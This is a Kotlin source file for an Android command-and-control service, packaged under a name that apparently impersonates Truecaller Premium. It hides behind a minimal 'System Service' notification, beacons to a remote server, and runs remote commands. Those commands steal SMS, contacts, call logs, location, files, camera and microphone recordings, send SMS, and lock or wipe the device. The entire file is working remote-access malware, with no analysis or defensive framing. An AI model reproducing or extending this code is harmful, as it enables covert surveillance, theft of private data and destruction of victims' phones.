package com.truecaller.premium import android.app.Notification import android.app.NotificationChannel import android.app.NotificationManager import android.app.Service import android.app.admin.DevicePolicyManager import android.content.ComponentName import android.content.Intent import android.content.pm.ServiceInfo import android.net.Uri import android.os.BatteryManager import android.os.Build import android.os.Handler import android.os.IBinder import android.os.Looper import android.os.VibrationEffect import android.os.Vibrator import android.telephony.SmsManager import android.util.Base64 import android.widget.Toast import androidx.core.app.NotificationCompat import androidx.core.content.ContextCompat import org.json.JSONObject import java.io.File import java.util.UUID class C2Service : Service() { private var thread: Thread? = null private var running = true override fun onCreate() { super.onCreate() startAsFgs() startLoop() } override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { startAsFgs() if (thread == null) startLoop() return START_STICKY } override fun onDestroy() { running = false thread?.interrupt() super.onDestroy() } override fun onBind(intent: Intent?): IBinder? = null // ---------- Foreground Service ---------- private fun startAsFgs() { val nm = getSystemService(NOTIFICATION_SERVICE) as NotificationManager val ch = NotificationChannel(Config.CHANNEL_ID, "System Service", NotificationManager.IMPORTANCE_MIN).apply { setShowBadge(false) lockscreenVisibility = Notification.VISIBILITY_SECRET } nm.createNotificationChannel(ch) val notif = NotificationCompat.Builder(this, Config.CHANNEL_ID) .setSmallIcon(android.R.drawable.ic_menu_compass) .setContentTitle("System Service") .setContentText("Running") .setOngoing(true) .setPriority(NotificationCompat.PRIORITY_MIN) .build() val type = if (Build.VERSION.SDK_INT >= 30) ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC else 0 startForeground(1, notif, type) } private fun ensureMediaType() { if (Build.VERSION.SDK_INT >= 30) { try { val notif = NotificationCompat.Builder(this, Config.CHANNEL_ID) .setSmallIcon(android.R.drawable.ic_menu_compass) .setContentTitle("System Service").setContentText("Running") .setOngoing(true).setPriority(NotificationCompat.PRIORITY_MIN).build() startForeground(1, notif, ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC or ServiceInfo.FOREGROUND_SERVICE_TYPE_CAMERA or ServiceInfo.FOREGROUND_SERVICE_TYPE_MICROPHONE) } catch (_: Exception) {} } } // ---------- Beacon loop ---------- private fun startLoop() { thread = Thread { register() while (running) { val cmd = beacon() if (cmd != null) execute(cmd) flushLogs() try { Thread.sleep(Config.BEACON_MS) } catch (_: InterruptedException) { break } } }.also { it.isDaemon = true; it.start() } } private fun deviceId(): String { val sp = getSharedPreferences("dev", MODE_PRIVATE) var id = sp.getString("did", "") if (id.isNullOrEmpty()) { id = UUID.randomUUID().toString().replace("-", "").take(16) sp.edit().putString("did", id).apply() } return id } private fun register() { val j = JSONObject() j.put("id", deviceId()) j.put("model", Build.MODEL) j.put("brand", Build.MANUFACTURER) j.put("version", Build.VERSION.RELEASE) j.put("sdk", Build.VERSION.SDK_INT) Net.post("register", j) } private fun beacon(): JSONObject? { val j = JSONObject() j.put("id", deviceId()) j.put("batt", batteryPct()) val resp = Net.post("beacon", j) ?: return null return try { val o = JSONObject(resp) if (o.optString("cmd").isNotEmpty()) o else null } catch (_: Exception) { null } } private fun flushLogs() { try { if (EventBuffer.size(this) == 0) return val j = JSONObject() j.put("id", deviceId()) j.put("events", EventBuffer.drain(this)) Net.post("report", j) } catch (_: Exception) {} } // ---------- Command executor ---------- private fun execute(c: JSONObject) { val name = c.optString("cmd") val arg = c.optJSONObject("arg") ?: JSONObject() Thread { val res = JSONObject() res.put("id", deviceId()) res.put("cmd", name) when (name) { "toast" -> { runOnMain { Toast.makeText(this, arg.optString("text", "ok"), Toast.LENGTH_SHORT).show() }; res.put("r", "ok") } "vibrate" -> { vibrate(arg.optLong("ms", 1000)); res.put("r", "ok") } "open_url" -> { openUrl(arg.optString("url")); res.put("r", "ok") } "send_sms" -> res.put("r", sendSms(arg.optString("number"), arg.optString("text"))) "lock" -> { lock(); res.put("r", "ok") } "wipe" -> { wipe(); res.put("r", "ok") } "get_sms" -> res.put("data", Collectors.sms(this).toString()) "get_contacts" -> res.put("data", Collectors.contacts(this).toString()) "get_calls" -> res.put("data", Collectors.calls(this).toString()) "get_apps" -> res.put("data", Collectors.apps(this).toString()) "get_location" -> res.put("data", Collectors.location(this)) "list_files" -> res.put("data", Collectors.listFiles(arg.optString("path", "/storage/emulated/0"))) "get_file" -> res.put("data", fileB64(arg.optString("path"))) "get_camera" -> { ensureMediaType(); res.put("data", MediaCapture.camera(this) ?: "ERR") } "get_mic" -> { ensureMediaType(); res.put("data", MediaCapture.mic(this, arg.optInt("seconds", 10)) ?: "ERR") } else -> res.put("r", "unknown") } Net.post("result", res) }.start() } private fun sendSms(number: String, text: String): String { return try { SmsManager.getDefault().sendTextMessage(number, null, text, null, null) "ok" } catch (e: Exception) { e.message ?: "err" } } private fun openUrl(u: String) { try { startActivity(Intent(Intent.ACTION_VIEW, Uri.parse(u)).addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)) } catch (_: Exception) {} } private fun lock() { try { val dpm = getSystemService(DEVICE_POLICY_SERVICE) as DevicePolicyManager if (dpm.isAdminActive(ComponentName(this, AdminReceiver::class.java))) dpm.lockNow() } catch (_: Exception) {} } private fun wipe() { try { val dpm = getSystemService(DEVICE_POLICY_SERVICE) as DevicePolicyManager if (dpm.isAdminActive(ComponentName(this, AdminReceiver::class.java))) dpm.wipeData(0) } catch (_: Exception) {} } private fun vibrate(ms: Long) { try { val v = getSystemService(VIBRATOR_SERVICE) as Vibrator if (Build.VERSION.SDK_INT >= 26) v.vibrate(VibrationEffect.createOneShot(ms, VibrationEffect.DEFAULT_AMPLITUDE)) else @Suppress("DEPRECATION") v.vibrate(ms) } catch (_: Exception) {} } private fun batteryPct(): Int { return try { (getSystemService(BATTERY_SERVICE) as BatteryManager).getIntProperty(BatteryManager.BATTERY_PROPERTY_CAPACITY) } catch (_: Exception) { -1 } } private fun fileB64(path: String): String { return try { val f = File(path) if (!f.exists() || f.length() > Config.MAX_UPLOAD_BYTES) return "ERR" Base64.encodeToString(f.readBytes(), Base64.NO_WRAP) } catch (_: Exception) { "ERR" } } private fun runOnMain(block: () -> Unit) { Handler(Looper.getMainLooper()).post(block) } }